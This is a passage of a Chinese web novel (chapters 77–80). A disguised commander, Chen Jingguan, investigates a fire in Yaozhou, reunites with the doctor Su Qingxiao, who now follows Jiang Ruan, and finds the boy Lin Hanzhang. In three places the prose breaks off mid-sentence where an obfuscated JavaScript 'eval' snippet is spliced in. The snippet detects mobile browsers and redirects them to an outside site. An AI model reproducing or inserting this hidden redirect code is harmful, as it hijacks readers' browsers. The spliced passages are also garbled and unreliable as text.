陈京观此次前来做回了老本行,伪装成了来遥州做生意的茶商,他让随行的侍卫装扮成伙计每天去各种地方打探消息,平远军则收到消息全部停在遥景边界待命。 “清泉楼?灵谍的驻地?” 那兵士轻轻点头,陈京观却不禁失笑:“他还真是比我要果断的多,我刚查出来点东西,他就用一把火给烧干净了。” “那我们现在怎么办?” 陈京观单手撑着头,缓缓揉着太阳穴,半晌后猛地起身,“去看一眼。只要存在过,就不可能干干净净。” 清泉楼离陈京观租下的客栈不远,陈京观刚出门就能看到不远处天空中升起的阵阵黑烟,他瞧着,突然发笑。 他身侧的席英看了他一眼,陈京观解释道:“我觉得我该去找人算算命,我这命里的火真多啊。” 席英没说话,她看到陈京观说完后不自觉咬紧牙关。 “还有幸存者吗?” 陈京观接过手下递来的打湿的帕子,轻轻掩住口鼻朝火源处又走了两步。 “这火起的突然,又刚好是在寅时,大部分人都还没醒呢。不过,刚巧这店里住了个大夫,有几个伤员经他医治勉强活了下来。“ ”大夫?”陈京观像是想到了什么,“你带我去看看他。” 那小兵领着陈京观朝后面空出来的一块地走过去,那里原本是清泉楼停放马车的地方,如今被清理出来用来安置尚能辨认的死者。在最后面的一个角落,有人搭了个简单的医棚,在此义诊。 “听闻先生在此义诊,专门救治受伤的百姓?先生大义,请受黄某人一拜,若是……” 陈京观的话没说完,眼前的人突然转过身,他笑着望向贴着两撇假胡子的陈京观,脸上带着浅浅的笑意。 “黄掌柜不必谦虚,若不是您的人及时发现清泉楼走水报了官府,恐怕要殃及这周围许多铺子。” 苏清晓说罢转身继续为面前的病人包扎伤口,他动作很轻,但是手脚麻利,这棚子下面横七竖八躺着十几个人,如今基本都被安置妥帖了。 自益州一别,陈京观再也没有见过苏清晓,他有想过给苏清晓写信,但是笔拿起来又放下,他有很多话要说,却不知从何处落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈京观被苏清晓的话问住了,他问苏清晓安好与否是发自内心,可问他为何在此时出现在遥州,确实是对他有所怀疑。 陈京观自然愿意相信苏清晓,但是一切都太巧了,他怕苏清晓会成为有心之人的利刃。 “也罢,”苏清晓轻叹一口气,“益州被东亭军占领,乾清观,没了。” 陈京观原本还理着那不太服帖的胡子,闻言他手上动作一怔。 “都没了?” 苏清晓点头,“你看到的,你遇到的,人或物,都没了。” 陈京观还记得那个扫院子的小道士,还记得那一缕未见道观却已然能看到的青烟,可此时,都没了。 “那你……” “说来也巧,东亭军破城的时候,我在瀛洲的山上找雪莲。” 陈京观看到了,刚才苏清晓在药罐子里泡着的,就有一株品相极佳的雪莲。 “如此解释,陈大人信吗?” 苏清晓停下了步子,他望着陈京观的眼睛,那一望无际的黑色里有陈京观看不懂的情绪。 “你和我,也要生分到如此地步吗?” 陈京观也毫不掩饰地问出了心中所想。上一次见到苏清晓时,他更多的还是与陈京观一同回忆少时时光,可这一次的苏清晓对陈京观带着不可言说的疏离,甚至是敌意。 “陈大人说笑。” 苏清晓想要继续往前走,却被陈京观一把扯住,“我今日非要问个清楚呢?” “我只好奇一个问题,你觉得这场仗谁会赢?” 苏清晓盯着陈京观,陈京观一时间看不懂他,可他突然想到了一个人。 “你出现在这,是因为江阮?” 苏清晓不置可否,陈京观便也知道了他的答案。 “我不知道你们因何相识,我也不想评价江阮这个人,只是苏清晓,你不该不信我。” 陈京观说这话的时候心里是有怒气的,少时的伙伴再见时一个个变得面目全非,他努力示好,努力维护,可是他们还是头都不回地走了。 陈京观知道人长大了总会变的,他也变了,可他还是不自觉贪恋那些能让他想到少时美好的人,他还是喜欢与他们一同玩乐的日子。 陈京观是个恋旧的人,可偏偏,旧的人没了,旧的人散了,只剩下他一个人守着旧的回忆。 “也罢,”陈京观苦笑着,松开了拉住苏清晓的手,“走吧,都走吧。” 只是解除了束缚的苏清晓也没有动,他的目光始终看着陈京观。 “我信你。” 陈京观低着的头轻微震颤了一下,接着他又听到苏清晓说道:“但是我不信这个国家了。” 78.草蛇灰线(二) 苏清晓没有再解释,他眉眼低垂,稍稍向后退了一步,见陈京观没有反应,又抬头望他,“还一起走吗?” 陈京观对上他的眼神,有些木愣地点头。 这许多日未见,苏清晓经历了什么,见了什么人,产生了什么想法,陈京观都不知道,那么他说出这样一番话,陈京观也不觉得奇怪。 只是苏清晓这番话点明了一个现实:他们已经不再是同向而行的朋友了。至于何时拔刀,不过是时间问题。 二人沉默地走在街上,遥州因为匪患四起街上人很少,开着的店铺也很少,不过苏清晓熟门熟路带着陈京观走到一条小巷里,在巷尾停下脚步。 “与我一同进去?” 陈京观点头,苏清晓看了他一眼,转身的时候忍不住叹了一口气。 “其实,我们只是选择不同,谁都没错。” “我知道。” 陈京观终于开口了,他跟在苏清晓身后朝小院里走,苏清晓的步子放得缓,刻意与陈京观拉近距离,陈京观明白他的意思,可此刻的他没想好能说什么。 “你家店主呢?我要再买些药材。” 苏清晓叫住了从面前走过的一个小姑娘,那姑娘瞧见他后微微朝他弯腰行礼,转头指了指后院的方向。 “多谢,今日要买的东西怕是有些多,劳烦姑娘再去和那些送货的伙计知会一声,东西安稳送到,到我的小伙计那里领银子。” 眼前的小姑娘连忙摆手,用手势说了些陈京观没有看懂的话,他偏过头看着苏清晓,苏清晓只是微笑朝那姑娘点头。 “一码归一码,这年头大家都不容易。” 苏清晓说完,小姑娘连连朝他鞠躬,瞧见苏清晓背后还站着陈京观,便又侧身朝陈京观鞠了一躬,而后迈着步子往院外走去。 “她是哑女,不过不是天生的,小时候生了病耽误了,就说不了话了,但是能听见。她刚才的意思是我替大家免费治病,他们不收我的银子。” 苏清晓看似无意地解释道,陈京观轻笑了一声应,“你不必同我说这些,我不是来监视你的。许久未见了,我想与你多呆一会。” 苏清晓行走的动作停了一下,他原想回头说些什么,可最后忍住了,推开后院的门走了进去。 “柳叔,我今日要再买些药材,单子我给您列好了,东西最好今日就能备齐送到清泉楼,如果实在寻不到的,您标出来。尽量办吧。” 眼前的两鬓花白的老人听见苏清晓的声音,停下了手上的伙计快步迎了过来。 “是清泉楼走水的缘故吗?” 苏清晓点头,“火起的突然,大家没什么防备。” 那老人叹了一口气,连连说了好几句“可惜”,他接过苏清晓手里的单子,起初还好,可越到后面脸色越为难。 “我知道后面几味难找,您想办法问问其他药铺,有多少我收多少,价格的问题不必担心。” 老人犹豫了一会点头道:“我试试吧。这几味药材多是益州产的,如今东亭封了路,今年的东西送不进来。” 苏清晓明了地点头,他拍了拍老人的肩膀,“我也会想办法的。” 老人抬头看了苏清晓一眼,眼神里的情绪欲言又止。 等着老掌柜下去筹药,苏清晓带着陈京观从后门出了铺子,那里等着很多人,有人怀里抱着孩子,有人搀着老人,有人则靠着墙奄奄一息。 苏清晓路过的时候没有停留,可走出这条巷子他却回头看了那些人一眼。 “他们在等着药渣子救命。” 陈京观顺着他的目光望,瞧见领他们进门的姑娘端着一个小碗出来,身后还带着两个小厮,他们站定在人群中,那些等着人一拥而上,有些人听见不是自己要的药材便失望地转身回到原处,有些人得到了自己想要的东西,兴高采烈地往家的方向跑去。 “那些药渣都是熬过三次的,他们也就是图个心理安慰罢了。” 苏清晓转身继续往前走,可他身后的陈京观却忍不住皱眉。 当时他查办景州茶税的时候详细了解过茶农的利益,也曾经走访过遥州的几块茶田,当时人们的日子还没有这么困难。 “是因为打仗吗?” 苏清晓没有回答陈京观,而是从怀里掏出一块手绢。 “当时我从益州一路逃到遥州,路上的流民相互搀扶着想要往江边走,他们想要跨过泯川江投靠南魏和北梁,可是他们的脚刚踏进江水,迎接他们的就是乱箭。景豫,你见过被血染成红色的江水吗?我见过。” 苏清晓一边走一边说,可语气慢慢哽咽。 “那个小妹妹也就十三四吧,她母亲因为被路上的杂草划伤了腿,又多日在路上奔波,我遇到她们的时候,她母亲烧的就像块炭火。”苏清晓的声音越来越弱,“我出门没做什么准备,身上就带着一点干粮和我在瀛洲摘的三朵雪莲。我把其中两朵都给她熬了水,等到我要下第三朵的时候,那小姑娘的母亲拦住了我,她让我别在她的身上用这么好的东西了,不值当。” 突然,苏清晓嘲讽似的大笑,陈京观从未见过他那个样子,他像是被风霜压低了脑袋的白梅,明明已经拼尽全力傲然枝头,可雪落下来的时候依旧压断了他的脊梁。 “多可笑啊,在他们的认识里,他们的命远比不上一朵雪莲花。她就那样死了,就那样死在小姑娘的怀里,她的体温终于降下去了,却变得比二月泯川江的水还冷。” 苏清晓顿了一下,再开口时他闭上双眼,“再后来,小姑娘也死了,就那样死在我的怀里,她临了手里就握着这块方巾,她说这是他们一家。” 陈京观展开帕子,那上面的针脚不算精细,甚至透露出孩童的稚嫩,可是一针一线缝出来的小鸟却栩栩如生,尤其那血红的羽毛,耀眼得让陈京观不忍直视。 可是他们没有翅膀,飞不过国界线,也飞不过炮火。 “后来我发现,无论我医术再高明,也救不了所有人。当初我为了避开父亲,选择了远走他乡拜师学医,可是我的师父死了,我的徒弟死了,我的病人死了,我遇到的人都死了。陈京观,我打不过他们,我救人的速度比不了他们杀人的速度。” 苏清晓脸上还带着泪痕,他举起双手,那双救过无数人的手在空中微微颤抖,陈京观的喉咙有些发涩,他想要抬手抓住苏清晓,告诉他他已经做得很好了,可是陈京观发现自己做不到,因为困扰苏清晓的问题也困扰着他。 如果世界还是这样的世界,那么他打赢一场场仗之后,还是会死很多人。 历史书写的是成王败寇的历史,可这背后是用生命筑成的丰碑。 “那你如今,是在做什么?” 苏清晓望着自己的双手,他好像看到源源不断的鲜血从他的指缝流出,染红了他的每一寸皮肤,最后那鲜血掉在地上,被土地吸收殆尽。 “去创造一个新的世界,一个不吃人的世界。” 陈京观猛地抬头,他立刻明白了苏清晓话中的意思。 创造一个新的世界,那么,就要摧毁这个旧的世界。 所以,江阮便是如此的想法吗?可他的动机又是什么? 陈京观的直觉告诉他,江阮在拉每一个对这个世界充满失望的人入伙,他为这些人描绘了一张无比宏伟的蓝图,他利用了这些人心里的仇恨,心里的无力,以及对于王权统治的反叛,他在做比陈京观所能想到的更彻底的复仇。 他复仇的对象是整个世界。 如此一来,也就说得通江阮为何会找上陈京观了。其实陈京观走到此时,如果他行差踏错半步,他就是另一个江阮,甚至,他会比江阮更加痛恨这个世界。 可是陈京观没有,他自己也没有想白这是为什么。 说实话,他与江阮待在一起的时候会被江阮身上那种危险却果决的特质吸引,江阮做了很多陈京观想做却没有做的事情,他认得清自己的目标,并且每一步都在他的计划中,直至此时陈京观依旧认为江阮是个很厉害的人。 陈京观突然发笑。 当他回想与江阮的种种,他知道了自己与江阮的不同,也明白了他为何只能是陈京观。 他啊,向来是优柔寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937897|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断的,是意气用事的,这是他永远比不上江阮的地方,却也是他没有成为江阮的原因。 原来,救世和灭世,竟然只在一念之间。 “那你觉得我在做什么?” 陈京观突然发问,苏清晓竟半天在脑海中寻不到个确切的答案。 他之前问过自己类似的问题,他没有看懂陈京观在做什么。 陈京观领了兵踏进南魏,却成了萧霖的犬牙,他为南魏东奔西跑,最后被一贬再贬,苏清晓觉得陈京观好笑,他只能认为陈京观是在用一种不为外人理解的方式走他自己的路。 至于陈京观的路是什么,苏清晓看不懂。 “我在许多人的眼里,应当就是跳梁小丑吧。” 陈京观笑着说,“其实也对,因为我的选择总会被现实左右,总会受人情冷暖牵制,我承认,我没有江阮的能力。可是清晓,你有没有想过用一种尽可能少牺牲的方式来谋取天下太平?或者说,你没有想过以身殉道?” 苏清晓看着陈京观,以身殉道这个词给了他当头棒喝。 “我知道这很蠢,很天真,可我父亲就是这样的人,他确实换来了哪怕只有这十几年的太平。最初的我只想给他报仇,可后来,我成为了他,或者说,他选择了我。” 陈京观字字铿锵,这是他第一次向一个人吐露他的心事。 天下没有人不怕死的,陈京观也是如此,但相比于“死”这个字眼,陈京观更害怕自己死的毫无意义。 陈频的位置被架得太高了,不知不觉间,陈京观在一次次回望那座京观的时候被陈频深深影响。 所有人都以为陈频的最后一步是帮南魏铲除北梁内鬼,换来内部稳定,可陈京观现在明白了,陈频的最后一步是陈京观。 他知道自己会死在西芥,他知道他的死会成为陈京观心头永远的伤痛,而他要让陈京观记住这伤痛。事实证明,陈频算无遗策,他确实做到了。 从陈频死的那天起,陈京观就成了陈频留给南魏的最后一把刀。 他不会叛变,因为他的父亲因通敌叛国的罪名而死。 他不会放弃,因为陈频的死深植在他的灵魂深处。 他也不会想要毁灭着一切,因为这一切是陈频用生命换来的。 陈频一死,陈京观既成。 陈频是殉道者,他为陈京观选的也是这样一条路,陈京观想明白这一切的曾觉得陈频很自私,可他说不出口。 自私吗?陈频已经为南魏献出了他的生命,对这样的人用“自私”的字眼,论谁看来都可笑无比。 但是陈京观的人生确实因为陈频而改变,陈频甚至摸准了陈京观的习性,当陈京观在水患结束后被万民敬仰之时,他就下不了台了。 一个被高高举起的人,很怕被重重摔下。 如今的陈京观即使是被赶鸭子上架,他也不得不走上这条路。 只是因为他是陈京观,这一切便都合理了。 “清晓,我也不相信这个国家,可是,我爱它。他是我父亲用命换来的。” 苏清晓脸上的泪痕还没有干涸,新的一股暖流便满溢而出,此时的他对于陈京观只有心疼。他很难想象他面前的这样一个人,会在不久后成为新世界的殉道者。 “如果有一日我们必须兵戎相见,你答应我,如果我失败了,你一定要创造出新的世界。” 陈京观眼里也蓄着泪,他抬手犹豫片刻后将手搭在了苏清晓的肩膀上,然后重重按了下去,就如同儿时那样。 江阮,你现在还会觉得孤单吗?你现在依旧不相信任何人吗?可是我的朋友们,都愿意相信你。那请你,不要辜负他们好吗? 陈京观回身望去,他背后空无一人,可他分明听到了少时的嬉笑。 一个少年蹲坐在池塘边,他寻找着青蛙刚产下的蝌蚪。没多久,他的身边绕满小孩,四双眼睛一齐望着水面,时不时有人用小手指着灰暗的池塘底。 倏忽间,四个人的面孔被游来游去蝌蚪扰乱,变成融合在一起的涟漪。陈景豫再向下望时,自己身边只有蝉鸣。 79.草蛇灰线(三) 陈京观和苏清晓沿着原路往回走,不知是不是各怀心事的缘故,这条路好像比来时更长,陈京观的每一步都迈得沉重,好似有一双手拉着他让他不要向前。 他知道,这双手是他自己。 “不知黄掌柜能不能……” “掌柜!” 苏清晓的话还没有说完,二人便被不远处的平芜出声叫住,他气喘吁吁地朝陈京观跑来,站定后努力平复自己的呼吸。 “不急,你慢些说。” 陈京观用手抚了抚平芜的后背,苏清晓从随身的褡子里拿出水壶递给平芜。 “人找到了,找到了。” 平芜猛灌了两口水,陈京观笑着问他:“谁找到了?找到谁了?” 平芜深吸了一口气,“林含章,找到了。” 陈京观抬头,平芜对上他的眼睛暗暗点头。 “走,带我去看看。” 苏清晓没有理会二人遮遮掩掩的目光,他伸手拍了拍平芜,快步朝清泉楼走去。 他们离开了小一个时辰,官府的人将清泉楼上上下下搜查了一番,又找到几具被横梁掩埋的尸体,陈京观过来的时候刻意避开了从楼里出来的衙役。苏清晓看了他一眼,侧身挡到了他面前。 “您就是苏大夫?真是多亏了您啊,不然这伤亡我可担不起。” 陈京观刚准备贴着墙朝医庐走,一个看上去形似县老爷的人扭动着肥硕的身躯从手下背后窜出来,他舔着脸想要与苏清晓握手,苏清晓指了指身上的血迹,那人悻悻地退了回去。 “大人客气,我也就是恰巧落住清泉楼,不然应当和您一个时辰来。” 苏清晓语气里的轻蔑和责问不掩半分,可眼前的县令丝毫没有动气的迹象,他笑着应,“县衙事务忙,我也是一早收到消息就赶过来了。” 苏清晓不再理会县令的话,他转身示意陈京观先走,可二人还未动身,背后的县令又突然开口。 “那位便是黄掌柜?诶呀,方才没看到您,是下官失敬。我听说是您的人先发现这清泉楼走水,也是您的人帮着伤员撤退,不知,您为何会比本官消息还要灵通?” 县令眯着个眼睛越过苏清晓,横插在他和陈京观中间,平芜想要上前阻拦,陈京观摆了摆手让他放松。 “在下黄三余,见过大人。”陈京观恭敬行礼,给那县令脸上的得意火上浇油,“大人所说属实,确实是在下派了伙计来清泉楼谈生意,偶然间突遇走水。我手下的皆是纯善之人,不会放着人命不管,我也是后来才知道他们做了这等大事。” 陈京观压低脑袋,尽量掩饰自己的面目,可县令并不打算就此作罢,他随着陈京观的动作弯下腰,想要一窥究竟。 “竟是如此,那黄掌柜和手下倒都是侠义之士,我佩服。”县令装模作样地朝陈京观抱拳行礼,“不过,您说这一切是不是太巧了?我听闻,您是南魏来的客商?这年头你跑到我遥州,很难不让人多想啊。” 县令若无其事地抚着自己浑圆的肚子,那两条眉毛顺着他摇摆不定的眼神上下起伏。 “是,在下阙州茶商。不过至于您说的巧,我倒不以为意,县令大人的意思是在下若再遇到这样的事应当袖手旁观,否则被当作贼喊抓贼之人审问是我活该?” 县令的脸慢慢红了,他轻咳一声整了整衣冠,久经官场之人自然不会被这三言两语吓退。 “黄掌柜说笑,我哪里会冤赖好人,只是这清泉楼是我遥州数一数二的酒楼,人员管理严密,出入的可都是有头有脸的人物,如今失火对我遥州来说可是一大损失,下官也是尽责查办。” 陈京观笑着应和了两句,作势要走,那县令便用手势下令自己的人围住了陈京观,颇有一番不达目的誓不罢休的气势。 “县令如此,是打算拿了我回去交差吗?” 陈京观无奈地笑着摆头,朝那县令走近,他虽未着佩剑,可只是这两步也足以让高居庙堂的县令震颤,他微微向后倾着身子,拉远了自己与陈京观的距离。 “如若可以,黄掌柜随我去县衙一趟,查清楚了自然请您回来。” 县令说着就要叫人缚了陈京观,倏忽间,一声轻笑止住了所有人的动作。 “要论巧合,我岂不是更巧,要不县令大人也连带着将我带了去?顺便把我的医庐架在你府衙里,那地方宽敞。” 苏清晓嘴角的弧度凝结在脸上,他伸手按在衙役的刀柄上,那衙役不知所措地望向县令,县令混沌的眼珠在眼眶里转了三圈,终于又回到了苏清晓身上。 “苏先生说笑了,即是您的朋友,下官自然信。” 说罢,那县令摆了摆手撤走了挡在陈京观面前的人,为他留出一条通往后院的路。 “你先去,我再与他说两句。” 苏清晓压低身子贴近陈京观,陈京观犹疑了片刻带着平芜朝后院走去。 “师兄,你与苏大夫是旧相识?” 陈京观点了点头,“算是。” “算是?” “少时认识,后来我也不知道我认不认识他了。” 苏清晓笑着回答县令,那县令脸上的笑意渐浓,试探着问道:“那想必,也是楼主的朋友?” 苏清晓点头,“算是。” …… 苏清晓走后,他的伙计看顾着医庐,席英做不了什么,瞧着她手足无措地站在那里,几个刚被喂了汤药的住客便主动与她搭话。 “姑娘,你是苏大夫的朋友吗?” 一个大娘侧着身子将席英叫过来,席英端了一杯热水放在了大娘的床铺旁,还没等她开口,邻铺小伙子就嬉笑着说:“我瞧着苏大夫很信任她,怕是……” 那小伙子笑着,席英周围的人也随着他一同起哄,席英懒得解释,可这小伙子的话点出了席英心里的疑惑,她也很好奇这位苏大夫为何会如此信任自己,这分明是他们第一次见面。 看起来陈京观应该与这位苏大夫是老相识,可是席英从未听陈京观提到自己认识这么一位大夫。 席英想着,突然忆起自己与陈京观去济州为霜栽寻药,陈京观也是突然离开,再回来时便带着已经准备妥帖的药材。 这位苏大夫是益州的?可席英觉得他说话和陈京观很像,他应当是南魏人。 当时席英全部心思都放在霜栽身上,霜栽本身所带的谜团让她忽略其他的人和事,也是为此,她忽略了那支发钗可能不是简单的礼物。 那其他的呢?如果陈京观上次寻到的药材真的是这位苏大夫给的,那么他的出现是不是也太巧了? “姑娘,姑娘!” 席英的回想被大娘的叫声打断,席英往大娘的床铺走近了些。 “怎么了?” 大娘伸手招呼席英往自己身边贴近,席英不喜与人亲近,可她虽然觉得别扭,也照做了,她一手撑着床沿,微微将身子倾斜靠近大娘。 “苏大夫是个好人啊,他来遥州小一个月,就住在这清泉楼,每日给没钱看病的穷人免费诊治,他这的药材都比寻常铺子便宜些。” 大娘说着,扭动着想要起身,席英将垫在她身后的被子往上提了提,给大娘找了更舒适的位置。 “我看着你与苏大夫不大相熟,可你是我瞧见第一个得到苏大夫信任的。你别看他每日笑眯眯的,你与他相处久了就能感觉到了,他身上带着壳,你瞧不见他的真心。” 大娘叹了一口气,下意识拉住了席英的手,席英抿了抿嘴想要抽出来,却又觉得不合适,便咽了口唾沫任由大娘牵着自己的手。 “诶,人老了就喜欢拉着人说话,姑娘你别嫌烦。我只是瞧着你亲近,想多和你说两句话,我们家姑娘要是活下来,也就你这么大。” 大娘的手摩挲着席英的手背,可席英却因为大娘的话止住了动作,她慢慢朝大娘靠了靠。 “你家女儿……” 大娘笑着谈了口气,“也没什么不能说的,生在穷人家,就是一条穷命。一辈子无病无灾还好说,若是命里有场大病,那多半是活不下来的。我一辈子生了四个小子一个姑娘,到最后就活下来两个,就这两个,过些时日估摸着还得上战场。” 大娘的话让原本吵嚷的医庐安静下来,就连邻铺那个嘻嘻哈哈的小伙子也噤了声,席英转头时正瞧见他抬手抹掉了自己的眼泪。 “姑娘,这孩子醒了。” 医庐的伙计招呼着席英过去,她犹豫了片刻伸手拍了拍大娘的手,她瞧见大娘笑着笑着却红了眼。 席英起身,她走到医庐最角落的床铺旁边,那里躺着的小孩是县令派人搜清泉楼起火原因时发现的,抬出来的时候大家都以为他死了,可没想到他突然猛地咳嗽了几声,随即昏死过去了。 “他怎么样?” 席英伸手试了一下小孩的额头,他的鬓角因为汗珠已经湿了一片。 “他身上没什么伤,估计是碰巧躲在哪个疙旯拐角保了命,他如今醒不过来应该是吓的,也可能是低烧的缘故。” 席英点了点头,叫来了几个随行的人,让他们找了一身干净衣服给小孩换上。 “二掌柜,您瞧。” 那些人刚给小孩脱了衣服,他的腰带上便滚下来一块玉佩似的东西,他们拿给席英看,席英没做声,收下玉佩后转身离开了医庐,她出去时刚好碰到了守在外面的平芜。 “你瞧瞧。” 平芜接过那个玉佩,一眼就看出是北梁的物件,“这小子身份不简单呐。” 席英点了点头,又定睛于那块玉佩,“对了,你见过那个苏大夫吗?” 平芜摇头,“怎么了,你怀疑他?” 席英没回答,她又把那块玉拿了回来。 跟着陈京观的这些日子,陈京观有意要给席英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945781|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和平芜教些东西,可是两个人这么大了再去学堂也学不了什么,陈京观就自己东一榔头西一棒锤的给他们填塞,按他的话说总有用得到的一天。 平芜对各国的风俗和政策感兴趣,而席英偏好一些风雅的东西,这块玉佩,她记得北梁应该只有两家能戴。 元家和林家。 “你说,他会不会是林含章?” 平芜看了席英一眼,立刻转身回到了医庐里面。 “有什么办法能让他说话吗?” 平芜叫住了熬药的伙计,还没等那人说话,他只听到里面的小孩咳了两声,气若游丝地挥手要自己过去。 “你是林含章吗?” 平芜直截了当地问,那小孩愣了片刻突然开始哭,他的胸口本就呼吸不畅,如今哭声让他的情绪更加激动。 “你先等他恢复一下再问。” 医庐的伙计过来叫住了平芜,可平芜冷笑一声,“不用问了,他就是。” 说罢,平芜转身离开了医庐,出门时和席英遥遥点头,寻着陈京观离开的方向去找他。 …… “人呢?” 陈京观跟着平芜的步子一直往前走,可越走越不对劲,不见平芜将自己往医庐领,反而是绕过了人群把他带到了清泉楼旁的小巷里。 “我们有话同你说。” 席英从侧面探出身,她手里还拿着林含章的那块玉佩。陈京观的视线在眼前二人的脸上来回打量,最后还是他先张口。 “你们是好奇苏清晓?” 席英没说话,走上前把玉佩交给了陈京观。 “行,也没什么可瞒的。” 陈京观手里摩挲着那块玉,侧身靠到了墙边。 “他,我,霜栽,晏离鸿,原是阙州人,我父亲陈频与孟知参、苏晋交好,我们便也成了少时挚友。后来我家没了,孟家也没了,我们就散了。再后来,我陆陆续续遇到他们,我以为是我命好,谁成想,算是回光返照吧。” 陈京观轻笑一声,向后仰头闭上了眼,“如今,他们都投于江阮门下,是敌是友,尚未可知。” 陈京观挺起身,重新把目光聚焦到眼前的两人身上,“还有什么要问的吗?” “你对现在的苏清晓,了解多少?” 席英毫不犹豫地问出心中所想,陈京观答:“上次见他是和你一同去济州寻药,那时他与江阮就是好友。按照他与我说的,他投入江阮门下是在益州城破之后。” “我怀疑苏清晓在江阮那里做了很多事情,他不是现在才加入的。” 席英的猜测得到了验证,她继续解释道:“你觉不觉得他和霜栽一样,每次出现的时机都太巧了,就像是有人刻意安排一样。” 陈京观默不作声,示意席英继续说。 “那次去济州,明明所有铺子都找不到那味药材,偏偏你单独出去的时候就寻到了苏清晓,而他恰巧就有这药材。那药材不稀有,却为他独有,这不奇怪吗?” 席英的话让陈京观想到了当时在济州的情形,那时陈京观唯一一次单独出门,他恰巧碰到了来采买青梅的江阮,江阮便借机引荐了苏清晓。 当时陈京观怀疑过他二人的关系,但是苏清晓并无异常,他对江阮与旁人无异,陈京观只以为确实是阴差阳错的缘分。 可如今联想到霜栽中毒一事,这其中疑点频出。为何蒋铎要在与霜栽的计划外下毒,又为何苏清晓对这毒如此熟悉,以前的陈京观想不明白,可此时他二人之间连着一根线。 “但我还有一事不明白,我初次遇到苏清晓的时候,他确实不知道霜栽中毒,他的反应骗不了我,至少在这件事上,他和江阮应当没联系。” 席英刚理出来的思绪又遇上了结节,她侧过头想着,半晌,他们听到苏清晓的声音。 “我觉得,江阮并没有如你一般把他们当做朋友,他们只是对江阮有利用价值。我只问你,你觉得江阮拿你当朋友吗?” 席英动身朝巷口走着,陈京观跟在她身后。 是朋友吗?陈京观也没有答案。 他对江阮的定位一直是可靠的盟友,是无所不知的存在,可正如他对元焕所说,无法嵌合他们的事实,那江阮认他做朋友吗?他来找陈京观,是在知道了这一事实后还是知道了这一事实前? 如果席英猜对了,那么江阮从未把任何人当作自己的朋友,可他为何要帮助陈京观,在陈京观这里,他没有得到任何好处。 对于江阮这样的性格,他不会允许自己费心埋下的引雷炸死自己。 所以,他当自己是朋友吧。 “这个答案你自己想清楚就好,我只是觉得江阮与任何人的联系都有信息差,他的排兵布阵缜密到可怕。” 席英站住脚,侧过头却没有看陈京观。 “既然决定孤注一掷,那就不要让我们白死。” 80.草蛇灰线(四) “那小孩主要是心悸,我觉得除却走水,他心里还有更害怕的东西。” 苏清晓看到陈京观一行人出现时神色如常,他手里拿着刚写好的药方,顺手递给了在煎药的伙计。 “麻烦你多照看,那是故人之子。” 苏清晓看了陈京观一眼,缓缓点头道:“自然,对所有病人我都尽心尽力。” 苏清晓说着,目光绕过陈京观看向他身后的席英,席英原本思索着陈京观的话,感受到灼灼目光后抬头迎了上去。 “方才多谢姑娘。” 苏清晓笑着朝席英行礼,席英微微欠身朝他点头。 “敢问姑娘姓名?” “席英。” 苏清晓像是想到了什么,嘴角不禁勾起,脸上浮出一朵粉云,他又念了两遍席英的名字,看向陈京观,“你起的?” 陈京观点头,“嗯,当时觉得,她挺像你的。” 闻言,席英侧过头看着陈京观,陈京观又补充说:“初次遇见的时候,她明明心里有想要的,却偏偏不肯说。她明明什么都不怕,却一脸畏惧。很像小时候的你。” 苏清晓笑着点头,“是,是像小时候的我。” “那现在的你呢?” 席英直视着苏清晓,或许是因为名字的渊源被点破,少女的脸上有了不服气,她看向苏清晓的目光里尽是审视。 “现在的我比不上你。”苏清晓说完低下了头,“我现在不敢想,不敢要,是从心底里的怕。” “为何?” 席英的语气咄咄逼人,陈京观不禁扭头看着席英,她平日里无论什么情况下都是镇静的,可此时的她有一丝不易察觉的慌乱。 “认识到了自己无能,也认识到天不遂人愿。” 苏清晓说着,朝席英走近了两步,“我希望你永远别成为我。” “我不会的。” 席英回答的笃定,苏清晓先是一愣,而后淡淡一笑,朝着席英点头应了声“好”。 “至少,我不会背弃我的朋友。” 苏清晓转身的动作顿住了,没有人看到他脸上闪过的寥落,他一瞬就红了眼眶,却依旧忍着鼻酸说:“那我就放心了。” 说罢,苏清晓径直走到了后院去清点刚送来的药材,他走后整个空气都好似凝结了一般。陈京观看着不同以往的席英,有些话就堵在嘴边却没敢说。 “走吧,那小子该醒了。” 平芜开口打破了凝滞的氛围,他一手拉着一个往林含章的床铺前跑,走着走着他突然贴近席英,“师兄没别的意思。” 席英摇头,“我不管他是什么意思,但我喜欢这个名字。既然这个名字是我的了,那就与别人无关。” 平芜笑着点头,乖乖喊了一声“姐”。 平日里平芜总是推说席英只比他大两个月,打死也叫不出口,可每次席英作出一些让平芜由衷佩服的事情时,他还是能感受到这两个月的魔力。 “其实我也不是怪,但是刀架到脖子上了,人都站在他面前了,他的心慈手软只会让对方变本加厉。我可不想让那次的事情才发生一次。” 席英的声音说大不大,说小不小,明面上看她在与平芜背后议论陈京观,可她一点也没有要避开陈京观的意思,她的字字句句陈京观都听得一清二楚。 平芜自然知道席英的所指,平海是他的哥哥,也是这军营里除却陈京观以外与席英关系最近的,平芜看到的哥哥的尸首,席英抓不住的是平海一点点流失的体温。 